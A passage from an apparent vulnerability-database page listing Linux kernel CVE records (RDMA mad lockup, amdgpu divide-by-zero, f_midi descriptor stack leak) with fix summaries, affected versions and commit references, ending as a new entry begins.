          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mad: Improve handling of timed out WRs of mad agent\n\nCurrent timeout handler of mad agent acquires/releases mad_agent_priv\nlock for every timed out WRs. This causes heavy locking contention\nwhen higher no. of WRs are to be handled inside timeout handler.\n\nThis leads to softlockup with below trace in some use cases where\nrdma-cm path is used to establish connection between peer nodes\n\nTrace:\n-----\n BUG: soft lockup - CPU#4 stuck for 26s! [kworker/u128:3:19767]\n CPU: 4 PID: 19767 Comm: kworker/u128:3 Kdump: loaded Tainted: G OE\n     -------  ---  5.14.0-427.13.1.el9_4.x86_64 #1\n Hardware name: Dell Inc. PowerEdge R740/01YM03, BIOS 2.4.8 11/26/2019\n Workqueue: ib_mad1 timeout_sends [ib_core]\n RIP: 0010:__do_softirq+0x78/0x2ac\n RSP: 0018:ffffb253449e4f98 EFLAGS: 00000246\n RAX: 00000000ffffffff RBX: 0000000000000000 RCX: 000000000000001f\n RDX: 000000000000001d RSI: 000000003d1879ab RDI: fff363b66fd3a86b\n RBP: ffffb253604cbcd8 R08: 0000009065635f3b R09: 0000000000000000\n R10: 0000000000000040 R11: ffffb253449e4ff8 R12: 0000000000000000\n R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000040\n FS:  0000000000000000(0000) GS:ffff8caa1fc80000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007fd9ec9db900 CR3: 0000000891934006 CR4: 00000000007706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n PKRU: 55555554\n Call Trace:\n  \u003cIRQ\u003e\n  ? show_trace_log_lvl+0x1c4/0x2df\n  ? show_trace_log_lvl+0x1c4/0x2df\n  ? __irq_exit_rcu+0xa1/0xc0\n  ? watchdog_timer_fn+0x1b2/0x210\n  ? __pfx_watchdog_timer_fn+0x10/0x10\n  ? __hrtimer_run_queues+0x127/0x2c0\n  ? hrtimer_interrupt+0xfc/0x210\n  ? __sysvec_apic_timer_interrupt+0x5c/0x110\n  ? sysvec_apic_timer_interrupt+0x37/0x90\n  ? asm_sysvec_apic_timer_interrupt+0x16/0x20\n  ? __do_softirq+0x78/0x2ac\n  ? __do_softirq+0x60/0x2ac\n  __irq_exit_rcu+0xa1/0xc0\n  sysvec_call_function_single+0x72/0x90\n  \u003c/IRQ\u003e\n  \u003cTASK\u003e\n  asm_sysvec_call_function_single+0x16/0x20\n RIP: 0010:_raw_spin_unlock_irq+0x14/0x30\n RSP: 0018:ffffb253604cbd88 EFLAGS: 00000247\n RAX: 000000000001960d RBX: 0000000000000002 RCX: ffff8cad2a064800\n RDX: 000000008020001b RSI: 0000000000000001 RDI: ffff8cad5d39f66c\n RBP: ffff8cad5d39f600 R08: 0000000000000001 R09: 0000000000000000\n R10: ffff8caa443e0c00 R11: ffffb253604cbcd8 R12: ffff8cacb8682538\n R13: 0000000000000005 R14: ffffb253604cbd90 R15: ffff8cad5d39f66c\n  cm_process_send_error+0x122/0x1d0 [ib_cm]\n  timeout_sends+0x1dd/0x270 [ib_core]\n  process_one_work+0x1e2/0x3b0\n  ? __pfx_worker_thread+0x10/0x10\n  worker_thread+0x50/0x3a0\n  ? __pfx_worker_thread+0x10/0x10\n  kthread+0xdd/0x100\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork+0x29/0x50\n  \u003c/TASK\u003e\n\nSimplified timeout handler by creating local list of timed out WRs\nand invoke send handler post creating the list. The new method acquires/\nreleases lock once to fetch the list and hence helps to reduce locking\ncontetiong when processing higher no. of WRs"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:45:19.592Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/713adaf0ecfc49405f6e5d9e409d984f628de818"
        },
        {
          "url": "https://git.kernel.org/stable/c/7022a517bf1ca37ef5a474365bcc5eafd345a13a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e80eadb3604a92d2d086e956b8b2692b699d4d0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a195a42dd25ca4f12489687065d00be64939409f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e799fa463508abe7a738ce5d0f62a8dfd05262a"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a777679b8ccd09a9a65ea0716ef10365179caac"
        }
      ],
      "title": "RDMA/mad: Improve handling of timed out WRs of mad agent",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50095",
    "datePublished": "2024-11-05T17:04:58.042Z",
    "dateReserved": "2024-10-21T19:36:19.944Z",
    "dateUpdated": "2026-05-12T12:00:13.710Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49892 (GCVE-0-2024-49892)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

drm/amd/display: Initialize get_bytes_per_element's default to 1

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Initialize get_bytes_per_element's default to 1 Variables, used as denominators and maybe not assigned to other values, should not be 0. bytes_per_element_y & bytes_per_element_c are initialized by get_bytes_per_element() which should never return 0. This fixes 10 DIVIDE_BY_ZERO issues reported by Coverity.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/8f0abb39c16e71912…
https://git.kernel.org/stable/c/f921335123f6620c3…
https://git.kernel.org/stable/c/1f9f8186e239222f1…
https://git.kernel.org/stable/c/a23d6029e730f8a15…
https://git.kernel.org/stable/c/c7630935d9a4986e8…
https://git.kernel.org/stable/c/bc00d211da4ffad53…
https://git.kernel.org/stable/c/3334ab72cbba55a63…
https://git.kernel.org/stable/c/4067f4fa0423a89fb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 8f0abb39c16e719129de10596b3ae3363fa178b4 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < f921335123f6620c3dce5c96fbb95f18524a021c (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 1f9f8186e239222f1c8d3dd73bf3bc6ae86c5e76 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < a23d6029e730f8a151b1a34afb169baac1274583 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < c7630935d9a4986e8c0ed91658a781b7a77d73f7 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < bc00d211da4ffad5314a2043b50bdc8ff8a33724 (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 3334ab72cbba55a632f24579cd47c4a4e5e69cda (git) Affected: 4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c , < 4067f4fa0423a89fb19a30b57231b384d77d2610 (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49892",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:44:09.911849Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:48.952Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:22:56.885Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:55.974Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dml/dcn20/display_rq_dlg_calc_20v2.c",
            "drivers/gpu/drm/amd/display/dc/dml/dcn21/display_rq_dlg_calc_21.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8f0abb39c16e719129de10596b3ae3363fa178b4",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "f921335123f6620c3dce5c96fbb95f18524a021c",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "1f9f8186e239222f1c8d3dd73bf3bc6ae86c5e76",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "a23d6029e730f8a151b1a34afb169baac1274583",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "c7630935d9a4986e8c0ed91658a781b7a77d73f7",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "bc00d211da4ffad5314a2043b50bdc8ff8a33724",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "3334ab72cbba55a632f24579cd47c4a4e5e69cda",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            },
            {
              "lessThan": "4067f4fa0423a89fb19a30b57231b384d77d2610",
              "status": "affected",
              "version": "4562236b3bc0a28aeb6ee93b2d8a849a4c4e1c7c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/display/dc/dml/dcn20/display_rq_dlg_calc_20v2.c",
            "drivers/gpu/drm/amd/display/dc/dml/dcn21/display_rq_dlg_calc_21.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Initialize get_bytes_per_element\u0027s default to 1\n\nVariables, used as denominators and maybe not assigned to other values,\nshould not be 0. bytes_per_element_y \u0026 bytes_per_element_c are\ninitialized by get_bytes_per_element() which should never return 0.\n\nThis fixes 10 DIVIDE_BY_ZERO issues reported by Coverity."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:17.336Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8f0abb39c16e719129de10596b3ae3363fa178b4"
        },
        {
          "url": "https://git.kernel.org/stable/c/f921335123f6620c3dce5c96fbb95f18524a021c"
        },
        {
          "url": "https://git.kernel.org/stable/c/1f9f8186e239222f1c8d3dd73bf3bc6ae86c5e76"
        },
        {
          "url": "https://git.kernel.org/stable/c/a23d6029e730f8a151b1a34afb169baac1274583"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7630935d9a4986e8c0ed91658a781b7a77d73f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/bc00d211da4ffad5314a2043b50bdc8ff8a33724"
        },
        {
          "url": "https://git.kernel.org/stable/c/3334ab72cbba55a632f24579cd47c4a4e5e69cda"
        },
        {
          "url": "https://git.kernel.org/stable/c/4067f4fa0423a89fb19a30b57231b384d77d2610"
        }
      ],
      "title": "drm/amd/display: Initialize get_bytes_per_element\u0027s default to 1",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49892",
    "datePublished": "2024-10-21T18:01:27.004Z",
    "dateReserved": "2024-10-21T12:17:06.025Z",
    "dateUpdated": "2026-05-12T11:58:55.974Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21835 (GCVE-0-2025-21835)

Vulnerability from cvelistv5 – Published: 2025-03-07 09:09 – Updated: 2026-05-12 12:04

Title

usb: gadget: f_midi: fix MIDI Streaming descriptor lengths

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_midi: fix MIDI Streaming descriptor lengths While the MIDI jacks are configured correctly, and the MIDIStreaming endpoint descriptors are filled with the correct information, bNumEmbMIDIJack and bLength are set incorrectly in these descriptors. This does not matter when the numbers of in and out ports are equal, but when they differ the host will receive broken descriptors with uninitialized stack memory leaking into the descriptor for whichever value is smaller. The precise meaning of "in" and "out" in the port counts is not clearly defined and can be confusing. But elsewhere the driver consistently uses this to match the USB meaning of IN and OUT viewed from the host, so that "in" ports send data to the host and "out" ports receive data from it.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/3a983390d14e8498f…
https://git.kernel.org/stable/c/9f36a89dcb78cb7e3…
https://git.kernel.org/stable/c/d8e86700c8a8cf415…
https://git.kernel.org/stable/c/9f6860a9c11301b05…
https://git.kernel.org/stable/c/6ae6dee9f005a2f3b…
https://git.kernel.org/stable/c/6b16761a928796e4b…
https://git.kernel.org/stable/c/a2d0694e1f111379c…
https://git.kernel.org/stable/c/da1668997052ed1cb…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < 3a983390d14e8498f303fc5cb23ab7d696b815db (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < 9f36a89dcb78cb7e37f487b04a16396ac18c0636 (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < d8e86700c8a8cf415e300a0921acd6a8f9b494f8 (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < 9f6860a9c11301b052225ca8825f8d2b1a5825bf (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < 6ae6dee9f005a2f3b739b85abb6f14a0935699e0 (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < 6b16761a928796e4b49e89a0b1ac284155172726 (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < a2d0694e1f111379c1efdf439dadd3cfd959fe9d (git) Affected: c8933c3f79568263c90a46f06cf80419e6c63c97 , < da1668997052ed1cb00322e1f3b63702615c9429 (git)
Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:00:07.684Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:00.939Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_midi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3a983390d14e8498f303fc5cb23ab7d696b815db",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "9f36a89dcb78cb7e37f487b04a16396ac18c0636",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "d8e86700c8a8cf415e300a0921acd6a8f9b494f8",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "9f6860a9c11301b052225ca8825f8d2b1a5825bf",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "6ae6dee9f005a2f3b739b85abb6f14a0935699e0",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "6b16761a928796e4b49e89a0b1ac284155172726",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "a2d0694e1f111379c1efdf439dadd3cfd959fe9d",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            },
            {
              "lessThan": "da1668997052ed1cb00322e1f3b63702615c9429",
              "status": "affected",
              "version": "c8933c3f79568263c90a46f06cf80419e6c63c97",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_midi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_midi: fix MIDI Streaming descriptor lengths\n\nWhile the MIDI jacks are configured correctly, and the MIDIStreaming\nendpoint descriptors are filled with the correct information,\nbNumEmbMIDIJack and bLength are set incorrectly in these descriptors.\n\nThis does not matter when the numbers of in and out ports are equal, but\nwhen they differ the host will receive broken descriptors with\nuninitialized stack memory leaking into the descriptor for whichever\nvalue is smaller.\n\nThe precise meaning of \"in\" and \"out\" in the port counts is not clearly\ndefined and can be confusing.  But elsewhere the driver consistently\nuses this to match the USB meaning of IN and OUT viewed from the host,\nso that \"in\" ports send data to the host and \"out\" ports receive data\nfrom it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:26.767Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3a983390d14e8498f303fc5cb23ab7d696b815db"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f36a89dcb78cb7e37f487b04a16396ac18c0636"
        },
        {
          "url": "https://git.kernel.org/stable/c/d8e86700c8a8cf415e300a0921acd6a8f9b494f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f6860a9c11301b052225ca8825f8d2b1a5825bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/6ae6dee9f005a2f3b739b85abb6f14a0935699e0"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b16761a928796e4b49e89a0b1ac284155172726"
        },
        {
          "url": "https://git.kernel.org/stable/c/a2d0694e1f111379c1efdf439dadd3cfd959fe9d"
        },
        {
          "url": "https://git.kernel.org/stable/c/da1668997052ed1cb00322e1f3b63702615c9429"
        }
      ],
      "title": "usb: gadget: f_midi: fix MIDI Streaming descriptor lengths",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21835",
    "datePublished": "2025-03-07T09:09:55.320Z",
    "dateReserved": "2024-12-29T08:45:45.777Z",
    "dateUpdated": "2026-05-12T12:04:00.939Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57902 (GCVE-0-2024-57902)

Vulnerability from cvelistv5 – Published: 2025-01-15 13:05 – Updated: 2026-05-12 12:01

Title

af_packet: fix vlan_get_tci() vs MSG_PEEK

Summary

